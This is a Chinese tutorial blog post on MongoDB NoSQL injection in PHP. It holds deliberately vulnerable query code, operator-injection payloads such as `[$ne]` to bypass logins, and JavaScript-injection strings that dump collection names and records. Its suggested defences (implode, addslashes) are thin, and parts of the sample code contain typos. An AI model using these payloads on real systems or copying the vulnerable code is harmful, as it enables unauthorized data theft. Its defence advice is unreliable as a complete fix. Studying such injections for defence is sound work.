从零学习NoSQL

NoSQL会存在注入问题吗?此处以MongoDB为例


啥是NoSQL?

NoSQL == Not Only SQL,泛指非关系型的数据库

在mongodb官网上看了一下SQL与NoSQL的区别
稍微翻译一下主要的区别

- SQL数据库 NoSQL数据库
类型 一种类型(SQL数据库),具有较小的变化 许多不同的类型,包括键值存储,文档数据库,宽列存储和图形数据库
例子 MySQL,Postgres,Microsoft SQL Server,Oracle MongoDB,Cassandra,HBase,Neo4j
数据存储模型 个别记录(例如”employees”)以表的形式存储为行,每列存储有关该记录的特定数据(例如,”manager”,”date hired”等),与电子表格非常相似。相关数据存储在单独的表中,然后在执行更复杂的查询时连接在一起。例如,”offices”可能存储在一个表中,”employees”可以存储在另一个表中。当用户想要找到员工的工作地址时,数据库引擎将”employee”和”office”表连接在一起以获取所有必要的信息。 基于数据库类型不同。例如,键值存储的功能类似于SQL数据库,但只有两列(’key’和’value’),更复杂的信息有时会作为BLOB在”value”列中存储。文档数据库完全取消了表和行模型,将所有相关数据存储在一起,以JSON,XML或其他格式的单个”文档”中,这可以分层次地嵌套值。
架构 预先固定结构和数据类型。要存储有关新数据项的信息,必须更改整个数据库,在此期间数据库必须脱机。 通常是动态的,具有一些执行数据验证规则。应用程序可以随时添加新的字段,与SQL表行不同,可以根据需要将不同的数据存储在一起。对于某些数据库(例如,宽列存储),动态添加新字段更具挑战性。
缩放 在垂直方面,意味着一个服务器必须变得越来越强大,以应对增加的需求。可以通过许多服务器传播SQL数据库,但通常需要大量的额外工程,而且通常会丢失核心关联功能(如JOIN,参照完整性和事务)。 意味着要增加容量,数据库管理员可以简单地添加更多的商品服务器或云实例。数据库会根据需要自动在服务器之间传播数据。
数据操作 使用Select,Insert和Update语句的特定语言,例如SELECT fields FROM table WHERE … 通过面向对象的API

NoSQL会有注入问题吗?

其实是有的
本文拿MongoDB举例
由于MongoDB的数据不是通过语句来进行操作,其通过类似于JSON格式的数据存储.所以传统的sqli是不行的,我们不能用填充SQL语句的角度去攻击NoSQL.
下面通过几个例子来说明MongoDB存在的问题

MongoDB语法

MongoDB教程我就不在这里详述了,主要提一下条件操作符

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$gt : >
$lt : <
$gte: >=
$lte: <=
$ne : !=、<>
$in : in
$nin: not in
$all: all
$or : or
$not: 反匹配(1.3.3及以上版本)
举例:
模糊查询用正则式:db.customer.find({'name': {'$regex':'^c.*'} })
范围查询 { "age" : { "$gte" : 2 , "$lte" : 21}}

Attack

PHP攻击前介绍

php下操作mongodb大致有以下两种方式

方法一

用mongo类中相应的方法执行增查减改 比如:

1
2
3
4
5
6
7
8
9
<?php
$mongo = new mongoclient();
$db = $mongo->test; //选择数据库
$collection = $db->test; //选择集合
$collection->save(); //增
$collection->find(); //查
$collection->remove(); //减
$collection->update(); //改
?>

此时,传递进入的参数是一个数组。

方法二

用execute方法执行字符串 比如:

1
2
3
4
5
6
7
8
9
<?php
$mongo = new mongoclient();
$db = $mongo->myinfo; //选择数据库
$query = "db.table.save({'id':1})"; //增
$query = "db.table.find({'id':1})"; //查
$query = "db.table.remove({'id':1})"; //减
$query = "db.table.update({'id':1},{'id',2})"; //改
$result = $db->execute($query);
?>

此时,传进方法execute的参数就是字符串变量$query
特别的,此时的字符串书写语法为js的书写语法。
对于以上两种不同执行方式,有不同的注入攻击方式。

PHP构造攻击

首先插入初始数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
$mongo = new mongoclient("mongodb://127.0.0.1");
$db = $mongo->test; //选择数据库
$collection = $dg->test; //选择集合
for($i = 0; $i < 5; $i++){
$data = array(
'id' => $i,
'username' => 'user'.$i,
'password' => 'pass'.$i
);
$collection->insert($data);
}
echo "Insert success."."\n";p
$data = array(
'id' => 5,
'username' => 'test',
'password' => 'test'
);
$collection->insert($data);
echo "Insert 'test' success.";
?>

test是已知的账号,那么如何获取他人账号密码呢

Hack方法一

假设存在如下一个服务(用的是方法一,也就是数组绑定的查询)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
$mongo = new mongoclient();
$db = $mongo->test; //选择数据库
$collection = $db->test; //选择集合
$username = $_GET['username'];
$password = $_GET['password'];
$data = array(
'username'=>$username,
'password'=>$password
);
$data = $collection->find($data);
$count = $data->count();
if ($count>0) {
foreach ($data as $user) {
echo 'username:'.$user['username']."</br>";
echo 'password:'.$user['password']."</br>";
}
}
else{
echo 'Not Found.';
}
?>

若输入:

1
username=test&password=test

相当于执行了:

1
db.test.find({username:'test',password:'test'});

若传入:

1
username[cc]=test&password=test

此时username为数组形式
相当于传入:

1
$data = array('username'=>array('cc'=>'test'),'password'=>'test');

而mongodb对于多维数组的解析使最终执行了如下语句:

1
db.test.find({username:{'cc':'test'},password:'test'});

这里我们其实可以利用其特性传入上文所提到的操作符如$ne(不等于):

1
username[$ne]=test&password[$ne]=test

相当于执行了:

1
db.test.find({username:{'$ne':'test'},password:{'$ne':'test'}});

等价于SQL语句中的

1
SELECT * FROM test WHERE username != 'test' && password != 'test';

即类似于普通的SQL注入

Hack方法二

假设存在如下另一个服务(用的是方法二,拼接字符串时的查询)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
$username = $_GET['username'];
$password = $_GET['password'];
$query = "var data = db.test.findOne({username:'$username',password:'$password'});return data;";
$mongo = new mongoclient();
$db = $mongo->myinfo;
$data = $db->execute($query);
if ($data['ok'] == 1) {
if ($data['retval']!=NULL) {
echo 'username:'.$data['retval']['username']."</br>";
echo 'password:'.$data['retval']['password']."</br>";
}else{
echo '未找到';
}
}else{
echo $data['errmsg'];
}
?>

若此时输入

1
username=test'&password=test

发现有报错,因为query语句不完整,这里更加类似于传统的sqli,通过闭合原语句来构造自己的操作
如:

1
username=test'});return {username:1,password:2}//&password=test

该语句能返回一个数组,此时username键值为1,password键值为2
爆mongodb版本:

1
username=test'});return {username:tojson(db.getCollectionNames()),password:2};//&password=test

(因为db.getCollectionNames()返回的是数组,需要用tojson转换为字符串。并且mongodb函数区分大小写。)
爆test集合的第n条数据:

1
username=test'});return {username:tojson(db.test.find()[n-1]),password:2};//&password=test

Defence

对于上文的方法一可以用implode()函数防御
而对于方法二可以用addslashes()函数防御

最后提一点

MongoDB还有一点比较危险的是未授权访问漏洞
开启MongoDB服务时不添加任何参数时,默认是没有权限验证的,登录的用户可以通过默认端口无需密码对数据库任意操作而且可以远程访问数据库(默认端口为27017)

1
mongo 127.0.0.1:27017/admin

防御方法有:修改默认端口、不要把MongoDB服务器部署在互联网上或者DMZ、使用 –bind_ip选项、启动基于角色的登录认证功能

参考文章

What is NoSQL?,一个MongoDB注入攻击案例分析,Mongodb注入攻击,一个有趣的实例让NoSQL注入不再神秘

Contents
  1. 1. 啥是NoSQL?
  2. 2. NoSQL会有注入问题吗?
  3. 3. MongoDB语法
  4. 4. Attack
    1. 4.1. PHP攻击前介绍
      1. 4.1.1. 方法一
      2. 4.1.2. 方法二
    2. 4.2. PHP构造攻击
      1. 4.2.1. Hack方法一
      2. 4.2.2. Hack方法二
    3. 4.3. Defence
    4. 4.4. 最后提一点
  5. 5. 参考文章